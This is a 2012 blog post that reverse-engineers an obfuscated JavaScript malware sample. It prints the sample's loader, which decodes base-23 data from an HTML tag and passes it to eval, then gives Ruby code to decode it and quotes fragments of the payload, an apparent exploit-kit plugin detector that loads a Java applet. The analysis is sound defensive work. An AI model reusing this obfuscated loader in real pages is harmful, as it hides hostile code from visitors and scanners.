Wednesday, December 12, 2012

malware in the wild: an interesting diversion

This little number provided some measure of entertainment this evening.

Ostensibly a Javascript malware "caught in the wild", it consists largely of an incomprehensible HTML I tag full of what appears to be encoded data:

17="=0g1ekd4=0f3f6ek=4e844e5=8g77gcf=37mdd60=1eee2f6..."


The nature of the obfuscation can be determined fairly quickly by looking at the two SCRIPT tags:

dd="i";ss=String.fromCharCode;pp="eIn";gg="getElem"+"entsByTagName";zx="al";

and

if(document.getElementsByTagName("div")[0].style.display==""){a=document[gg](dd)[0];

s=new String();
for(i=0;;i++){
        r=a.getAttribute(i);
        if(r){s=s+r;}else break;
}
a=s;
s=new String();
zx="ev"+zx;
e=window[zx];
p=parseInt;
for(i=0;i=2){
        if(a["su"+"bs"+"tr"](i,1)!="=")
        s=s.concat(ss(p(a.substr(i,2),23)/3));
}
c=s;
e(c)}

It only takes putting them side by side to realize that the first contains string substitutions for the second.

Performing the substitutions manually, we get:

if(document.getElementsByTagName("div")[0].style.display==""){

  # a)
  a=document["getElementsByTagName"]("i")[0];
  s=new String();
  for(i=0;;i++){
    r=a.getAttribute(i);
    if(r){s=s+r;}else break;
  }
  a=s;
  s=new String();
  e=window["eval"];
  # b)
  for(i=0;i
    # c)
    if(a["substr"](i,1)!="=")
    #d)
    s=s.concat(String.fromCharCode(parseInt(a.substr(i,2),23)/3));
  }
  c=s;
  # e)
  e(c)}

By now the operation of the main encoding scheme is apparent. The code at a) reads the (numeric) attributes of the "I" tag from 0 to 28 (the largest attribute # in the I tag), and assembles it into a string. The characters of this string are iterated over in pairs at b), and each pair beginning with '=' is skipped at c). Finally, at d), a command string is generated by:

  * reading each pair of characters as a base-23 number
  * dividing the resulting number by 3
  * converting that result into an ASCII character

At e), fittingly, this command string is evaluated.


The code in a) shows that the numeric attributes in the I tag are displayed out of order, in another crude attempt at obfuscation. The first attribute must be zero (according to the loop), and its contents are:

0="=6f9cfek=344aae2=2f6dadg=5e88kd4=2f3d4cl=2f37mg1=3f9d4ek=2f0dgeb=8e87d4a=9666074=7607a4a=15he8cf..."

Manually converting this in ruby shows that the above interpretation of the obfuscation is indeed correct:

%w{ f9 cf ek 44 aa e2 f6 da dg e8 8k d4 f3 d4 cl f3 7m g1 f9 d4 ek f0 dg eb e8 7d 4a 66 60 74 60 7a 4a 5h e8 cf }.map { |x| (Integer(x, 23) / 3).chr }.join
 => "var PluginDetect={version:\"0.7.9\",na" 

From here on it is a simple matter of decoding. Extract the contents of the I tag into a file called "lines.dat". 

 dat = File.open('lines.dat', 'r') { |f| f.read }

A quick perusal shows that the attributes are separated by spaces, and a quick experiment verifies this:

 dat.split(' ').length
 => 29 

Enumerable#inject proves a nice way to turn this into a hash:

h = dat.split(' ').inject({}) { |h, attr| k,v,jnk = attr.split('="'); h[Integer(k)] = v.split(/=[[:alnum:]]/)[1..-1].map{ |s| [s[0,2], s[2,2], s[4,2]] }.flatten ; h}

Some commentary is perhaps in order here. The inject block splits each attribute on '="', resulting in a [name, attribute] pair such as ["0", "=6f9cfek=344aa..."]. The first half of the pair, called k for key, is converted to a fixnum and serves as a sort of line number for the command. 

The tricky bit is the handling of v (for value, of course). This is split on a regex consisting of an equals sign and an alphanumeric character;  for attribute 0, this creates the array ["", "f9cfek", "44aae2", "f6dadg", "e88kd4", ... ]. The empty first element is discarded, then the strings in the array are manually divided into their three numeric components, resulting in an array such as ["f9", "cf", "ek", "44", "aa", "e2", "f6", "da", "dg", "e8", "8k", "d4", ... ].

All that remains now is to order the attributes by "line number", convert each encoded number from a base 23 String representation to a Fixnum, divide it by three, and convert the result to a character. Simple enough:

h.keys.sort.map{ |i| h[i].map{ |x| (Integer(x, 23) / 3).chr }.join }.join

The result is a rather long payload which the reader is welcome to reconstruct themselves or peruse. To give a taste, here is the very beginning and the very end:

"var PluginDetect={version:\"0.7.9\",name:\"PluginDetect\",handler:function(c,b,a){return function(){c(b,a)}},openTag:\"
...
ss=setTimeout;var res=ar[arcalli]();arcalli++;if(res&&window.document){ss(function(){arcall()},5509);}else{arcall();}};arcall();}$$[\"onDetec\"+\"tionDone\"](\"Ja\"+\"va\", svwrbew6436b, \"../legs/getJavaInfo.jar\");"